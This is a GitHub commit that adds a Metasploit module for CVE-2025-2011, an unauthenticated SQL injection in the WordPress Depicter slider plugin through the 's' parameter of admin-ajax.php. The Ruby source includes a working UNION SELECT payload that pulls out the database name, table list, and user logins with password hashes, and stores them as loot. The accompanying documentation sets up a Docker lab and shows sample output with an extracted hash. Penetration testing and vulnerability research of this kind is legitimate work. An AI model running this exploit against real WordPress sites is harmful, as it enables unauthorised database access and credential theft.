Skip to content

Commit 1888aba

Browse files
committed
Add WP Depicter Plugin Unauth SQL Injection (CVE-2025-2011)
1 parent ba25dd4 commit 1888aba

File tree

3 files changed

+277
-0
lines changed

3 files changed

+277
-0
lines changed

data/wordlists/wp-exploitable-plugins.txt

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -8,6 +8,7 @@ bulletproof-security
88
catch-themes-demo-import
99
chopslider
1010
custom-registration-form-builder-with-submission-manager
11+
depicter
1112
download-manager
1213
drag-and-drop-multiple-file-upload-contact-form-7
1314
dukapress
Lines changed: 129 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,129 @@
1+
## Vulnerable Application
2+
3+
The vulnerability affects the **Slider & Popup Builder by Depicter** plugin for WordPress,
4+
versions **up to 3.6.1**, allowing **unauthenticated SQL injection** via the `s` parameter on `admin-ajax.php`.
5+
WordPress itself must be installed.
6+
7+
### Pre-requisites
8+
9+
* **Docker** and **Docker Compose** installed.
10+
11+
12+
## Setup Instructions
13+
14+
1. **Create a `docker-compose.yml`** with:
15+
16+
```yaml
17+
version: '3.1'
18+
19+
services:
20+
wordpress:
21+
image: wordpress:latest
22+
restart: always
23+
ports:
24+
- 5555:80
25+
environment:
26+
WORDPRESS_DB_HOST: db
27+
WORDPRESS_DB_USER: chocapikk
28+
WORDPRESS_DB_PASSWORD: dummy_password
29+
WORDPRESS_DB_NAME: exploit_market
30+
mem_limit: 512m
31+
volumes:
32+
- wordpress:/var/www/html
33+
34+
db:
35+
image: mysql:5.7
36+
restart: always
37+
environment:
38+
MYSQL_DATABASE: exploit_market
39+
MYSQL_USER: chocapikk
40+
MYSQL_PASSWORD: dummy_password
41+
MYSQL_RANDOM_ROOT_PASSWORD: '1'
42+
volumes:
43+
- db:/var/lib/mysql
44+
45+
volumes:
46+
wordpress:
47+
db:
48+
```
49+
50+
2. **Start the environment**
51+
52+
```bash
53+
docker-compose up -d
54+
```
55+
56+
3. **Install Depicter plugin**
57+
58+
```bash
59+
wget https://downloads.wordpress.org/plugin/depicter.3.6.1.zip
60+
unzip depicter.3.6.1.zip
61+
docker cp depicter wordpress:/var/www/html/wp-content/plugins/
62+
```
63+
64+
4. **Activate Depicter**
65+
66+
* Browse to `http://localhost:5555/wp-admin`, log in as admin (create one if needed), and activate **Slider & Popup Builder by Depicter**.
67+
* No additional setup is required.
68+
69+
70+
## Verification Steps
71+
72+
1. **Launch Metasploit**
73+
74+
```bash
75+
msfconsole
76+
```
77+
78+
2. **Load the Depicter SQLi scanner**
79+
80+
```bash
81+
use auxiliary/scanner/http/wp_depicter_sqli_cve_2025_2011
82+
set RHOSTS 127.0.0.1
83+
set RPORT 5555
84+
set TARGETURI /
85+
```
86+
87+
3. **Run the module**
88+
89+
```bash
90+
run
91+
```
92+
93+
4. **Observe output**
94+
95+
The module should:
96+
97+
* Retrieve the database name
98+
* Enumerate tables and infer the `wp_users` table
99+
* Extract `user_login:user_pass` for the number of rows set by `COUNT`
100+
101+
## Options
102+
103+
* **TARGETURI** (`/`): base path to WordPress
104+
* **COUNT** (`1`): number of user rows to retrieve
105+
106+
## Scenarios
107+
108+
```bash
109+
msf6 auxiliary(scanner/http/wp_depicter_sqli_cve_2025_2011) > run http://lab:5555
110+
[*] Retrieving database name via SQLi...
111+
[+] Database name: exploit_market
112+
[*] Enumerating tables for prefix inference...
113+
[+] Tables: wp_commentmeta,wp_comments,wp_depicter_documents,wp_depicter_lead_fields,wp_depicter_leads,wp_depicter_meta,wp_depicter_options,wp_links,wp_options,wp_postmeta,wp_posts,wp_suretriggers_webhook_requests,wp_term_relationships,wp_term_taxonomy,wp_termmeta,wp_terms,wp_ur_membership_ordermeta,wp_ur_membership_orders,wp_ur_membership_subscriptio
114+
[*] Inferred users table: wp_users
115+
[*] Extracting user credentials...
116+
[!] No active DB -- Credential data will not be saved!
117+
[+] Created credential for chocapikk
118+
wp_users
119+
========
120+
121+
Username Password Hash
122+
-------- -------------
123+
chocapikk $wp$2y$10$rc5oXfNPG.bYSnbYvELKZeGgoQ9.QHcAXG8U/xunfXzsviMQkiPga
124+
125+
[+] Loot saved to: /home/chocapikk/.msf4/loot/20250514154441_default_127.0.0.1_wordpress.users_167822.txt
126+
[+] Reporting completed
127+
[*] Scanned 1 of 1 hosts (100% complete)
128+
[*] Auxiliary module execution completed
129+
```
Lines changed: 147 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,147 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Auxiliary
7+
include Msf::Auxiliary::Scanner
8+
include Msf::Exploit::Remote::HTTP::Wordpress
9+
include Msf::Exploit::Remote::HTTP::Wordpress::SQLi
10+
11+
def initialize(info = {})
12+
super(
13+
update_info(
14+
info,
15+
'Name' => 'WordPress Depicter Plugin SQL Injection (CVE-2025-2011)',
16+
'Description' => %q{
17+
The Slider & Popup Builder by Depicter plugin for WordPress <= 3.6.1 is vulnerable to unauthenticated SQL injection via the 's' parameter in admin-ajax.php.
18+
},
19+
'Author' => [
20+
'Muhamad Visat', # Vulnerability Discovery
21+
'Valentin Lobstein' # Metasploit Module
22+
],
23+
'License' => MSF_LICENSE,
24+
'References' => [
25+
['CVE', '2025-2011'],
26+
['WPVDB', '6f894272-3eb6-4595-ae00-1c4b0c0b6564'],
27+
['URL', 'https://cloud.projectdiscovery.io/library/CVE-2025-2011'],
28+
['URL', 'https://plugins.trac.wordpress.org/browser/depicter/trunk/app/src/Controllers/Ajax/LeadsAjaxController.php?rev=3156664#L179']
29+
],
30+
'Actions' => [['SQLi', { 'Description' => 'Perform SQL Injection via admin-ajax.php?s=' }]],
31+
'DefaultAction' => 'SQLi',
32+
'DefaultOptions' => { 'VERBOSE' => true, 'COUNT' => 1 },
33+
'DisclosureDate' => '2025-05-08',
34+
'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [IOC_IN_LOGS], 'Reliability' => [] }
35+
)
36+
)
37+
end
38+
39+
def run_host(_ip)
40+
print_status('Retrieving database name via SQLi...')
41+
db_name = extract_value_from_sqli('database()')
42+
fail_with(Failure::UnexpectedReply, 'Failed to extract database name.') unless db_name
43+
vprint_good("Database name: #{db_name}")
44+
45+
print_status('Enumerating tables for prefix inference...')
46+
raw = 'group_concat(table_name) from information_schema.tables where table_schema=database()'
47+
tables_csv = extract_value_from_sqli(raw)
48+
fail_with(Failure::UnexpectedReply, 'Failed to enumerate tables.') unless tables_csv
49+
print_good("Tables: #{tables_csv}")
50+
51+
visible_tables = tables_csv.split(',')
52+
prefix = visible_tables.first.split('_').first
53+
users_table = "#{prefix}_users"
54+
print_status("Inferred users table: #{users_table}")
55+
56+
print_status('Extracting user credentials...')
57+
limit = datastore['COUNT'].to_i
58+
raw_creds = "group_concat(user_login,0x3a,user_pass SEPARATOR 0x0a) from (select * from #{db_name}.#{users_table} LIMIT #{limit}) as sub"
59+
creds = extract_value_from_sqli(raw_creds)
60+
fail_with(Failure::UnexpectedReply, 'Failed to extract credentials.') unless creds
61+
62+
data = creds.split("\n").map { |u| u.split(':', 2) }
63+
table = Rex::Text::Table.new(
64+
'Header' => users_table,
65+
'Indent' => 4,
66+
'Columns' => ['Username', 'Password Hash']
67+
)
68+
loot_data = ''
69+
data.each do |user|
70+
table << user
71+
loot_data << "Username: #{user[0]}, Password Hash: #{user[1]}\n"
72+
create_credential(
73+
workspace_id: myworkspace_id,
74+
origin_type: :service,
75+
module_fullname: fullname,
76+
username: user[0],
77+
private_type: :nonreplayable_hash,
78+
jtr_format: Metasploit::Framework::Hashes.identify_hash(user[1]),
79+
private_data: user[1],
80+
service_name: 'WordPress',
81+
address: datastore['RHOST'],
82+
port: datastore['RPORT'],
83+
protocol: 'tcp',
84+
status: Metasploit::Model::Login::Status::UNTRIED
85+
)
86+
vprint_good("Created credential for #{user[0]}")
87+
end
88+
89+
print_line(table.to_s)
90+
loot_path = store_loot(
91+
'wordpress.users',
92+
'text/plain',
93+
datastore['RHOST'],
94+
loot_data,
95+
'wp_users.txt',
96+
'WP Usernames and Password Hashes'
97+
)
98+
print_good("Loot saved to: #{loot_path}")
99+
100+
report_host(host: datastore['RHOST'])
101+
report_service(
102+
host: datastore['RHOST'],
103+
port: datastore['RPORT'],
104+
proto: 'tcp',
105+
name: fullname,
106+
info: description.strip
107+
)
108+
report_vuln(
109+
host: datastore['RHOST'],
110+
port: datastore['RPORT'],
111+
proto: 'tcp',
112+
name: fullname,
113+
refs: references,
114+
info: description.strip
115+
)
116+
vprint_good('Reporting completed')
117+
118+
data
119+
end
120+
121+
def extract_value_from_sqli(expr)
122+
expr = expr.to_s.strip.gsub(/\s+/, ' ')
123+
r1, r2, r3, r4, r5 = Array.new(5) { rand(1000..9999) }
124+
injected = "#{r1}') UNION SELECT #{r2},#{r3},(SELECT #{expr}),#{r4},#{r5}-- -"
125+
126+
res = send_request_cgi(
127+
'method' => 'GET',
128+
'uri' => normalize_uri('wp-admin', 'admin-ajax.php'),
129+
'vars_get' => {
130+
's' => injected,
131+
'perpage' => rand(10..50).to_s,
132+
'page' => rand(1..3).to_s,
133+
'orderBy' => 'source_id',
134+
'dateEnd' => '',
135+
'dateStart' => '',
136+
'order' => ['ASC', 'DESC'].sample,
137+
'sources' => '',
138+
'action' => 'depicter-lead-index'
139+
}
140+
)
141+
return unless res&.code == 200
142+
143+
json = res.get_json_document
144+
json.dig('hits', 0, 'content', 'id') ||
145+
json.dig('hits', 0, 'content', 'name')
146+
end
147+
end

0 commit comments

Comments
 (0)